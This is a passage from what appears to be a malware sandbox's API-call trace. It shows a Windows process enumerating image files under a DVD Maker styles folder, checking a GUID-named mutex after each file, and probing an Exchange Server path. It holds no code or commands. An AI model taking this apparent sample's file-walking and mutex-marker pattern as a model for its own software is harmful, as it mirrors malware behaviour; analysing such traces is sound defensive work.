dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0057.671] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.671] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.671] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.671] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.671] GlobalUnlock (hMem=0x440004) returned 0 [0057.671] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.671] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.671] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.671] GlobalUnlock (hMem=0x440004) returned 0 [0057.671] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.671] GlobalUnlock (hMem=0x44000c) returned 0 [0057.671] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.671] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0057.671] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.671] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.671] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.671] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.671] GlobalUnlock (hMem=0x44000c) returned 0 [0057.671] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.671] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.671] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.671] GlobalUnlock (hMem=0x44000c) returned 0 [0057.671] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.671] GlobalUnlock (hMem=0x440004) returned 0 [0057.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.672] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0057.672] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.672] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.672] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.672] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.672] GlobalUnlock (hMem=0x440004) returned 0 [0057.672] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.672] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.672] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.672] GlobalUnlock (hMem=0x440004) returned 0 [0057.672] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.672] GlobalUnlock (hMem=0x44000c) returned 0 [0057.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.672] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0057.672] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.672] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.672] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.672] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.672] GlobalUnlock (hMem=0x44000c) returned 0 [0057.672] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.672] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.672] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.672] GlobalUnlock (hMem=0x44000c) returned 0 [0057.672] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.672] GlobalUnlock (hMem=0x440004) returned 0 [0057.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.672] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.673] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.673] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.673] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.673] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.673] GlobalUnlock (hMem=0x440004) returned 0 [0057.673] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.673] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.673] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.673] GlobalUnlock (hMem=0x440004) returned 0 [0057.673] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.673] GlobalUnlock (hMem=0x44000c) returned 0 [0057.673] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.673] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.673] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.673] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.673] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.673] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.673] GlobalUnlock (hMem=0x44000c) returned 0 [0057.673] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.673] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.673] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.673] GlobalUnlock (hMem=0x44000c) returned 0 [0057.673] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.673] GlobalUnlock (hMem=0x440004) returned 0 [0057.673] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.673] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.673] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.673] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.674] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.674] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.674] GlobalUnlock (hMem=0x440004) returned 0 [0057.674] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.674] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.674] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.674] GlobalUnlock (hMem=0x440004) returned 0 [0057.674] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.674] GlobalUnlock (hMem=0x44000c) returned 0 [0057.674] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.674] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.674] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.674] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.674] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.674] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.674] GlobalUnlock (hMem=0x44000c) returned 0 [0057.674] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.674] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.674] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.674] GlobalUnlock (hMem=0x44000c) returned 0 [0057.674] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.674] GlobalUnlock (hMem=0x440004) returned 0 [0057.674] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.674] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.674] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.674] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.674] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.674] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.674] GlobalUnlock (hMem=0x440004) returned 0 [0057.674] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.675] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.675] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.675] GlobalUnlock (hMem=0x440004) returned 0 [0057.675] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.675] GlobalUnlock (hMem=0x44000c) returned 0 [0057.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.675] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.675] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.675] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.675] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.675] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.675] GlobalUnlock (hMem=0x44000c) returned 0 [0057.675] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.675] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.675] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.675] GlobalUnlock (hMem=0x44000c) returned 0 [0057.675] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.675] GlobalUnlock (hMem=0x440004) returned 0 [0057.675] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.675] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0057.675] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.675] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.675] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.675] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.675] GlobalUnlock (hMem=0x440004) returned 0 [0057.675] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.676] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.676] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.676] GlobalUnlock (hMem=0x440004) returned 0 [0057.676] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.676] GlobalUnlock (hMem=0x44000c) returned 0 [0057.676] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.676] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0057.676] GetLastError () returned 0x12 [0057.676] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.676] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.676] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.676] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.676] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.676] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.676] GlobalUnlock (hMem=0x44000c) returned 0 [0057.676] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.676] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.676] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.676] GlobalUnlock (hMem=0x44000c) returned 0 [0057.677] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.677] GlobalUnlock (hMem=0x440004) returned 0 [0057.677] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.677] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0057.677] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.677] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.677] GlobalLock (hMem=0x440004) returned 0x550170 [0057.677] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.677] GlobalUnlock (hMem=0x440004) returned 0 [0057.677] GlobalLock (hMem=0x440004) returned 0x550170 [0057.677] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.677] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.677] GlobalUnlock (hMem=0x440004) returned 0 [0057.677] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.677] GlobalUnlock (hMem=0x44000c) returned 0 [0057.677] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.677] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.677] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.677] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.677] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.677] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.677] GlobalUnlock (hMem=0x44000c) returned 0 [0057.677] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.677] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.677] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.677] GlobalUnlock (hMem=0x44000c) returned 0 [0057.677] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.677] GlobalUnlock (hMem=0x440004) returned 0 [0057.678] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.678] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0057.678] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.678] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.678] GlobalLock (hMem=0x440004) returned 0x550170 [0057.678] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.678] GlobalUnlock (hMem=0x440004) returned 0 [0057.678] GlobalLock (hMem=0x440004) returned 0x550170 [0057.678] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.678] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.678] GlobalUnlock (hMem=0x440004) returned 0 [0057.678] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.678] GlobalUnlock (hMem=0x44000c) returned 0 [0057.678] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.678] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0057.678] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.678] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.678] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.678] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.678] GlobalUnlock (hMem=0x44000c) returned 0 [0057.678] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.678] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.678] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.678] GlobalUnlock (hMem=0x44000c) returned 0 [0057.678] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.678] GlobalUnlock (hMem=0x440004) returned 0 [0057.678] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.679] GlobalLock (hMem=0x440004) returned 0x550170 [0057.679] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.679] GlobalUnlock (hMem=0x440004) returned 0 [0057.679] GlobalLock (hMem=0x440004) returned 0x550170 [0057.679] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.679] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.679] GlobalUnlock (hMem=0x440004) returned 0 [0057.679] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.679] GlobalUnlock (hMem=0x44000c) returned 0 [0057.679] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.679] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned 1 [0057.679] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.679] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.679] GlobalUnlock (hMem=0x44000c) returned 0 [0057.679] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.679] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.679] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.679] GlobalUnlock (hMem=0x44000c) returned 0 [0057.679] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.679] GlobalUnlock (hMem=0x440004) returned 0 [0057.679] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, 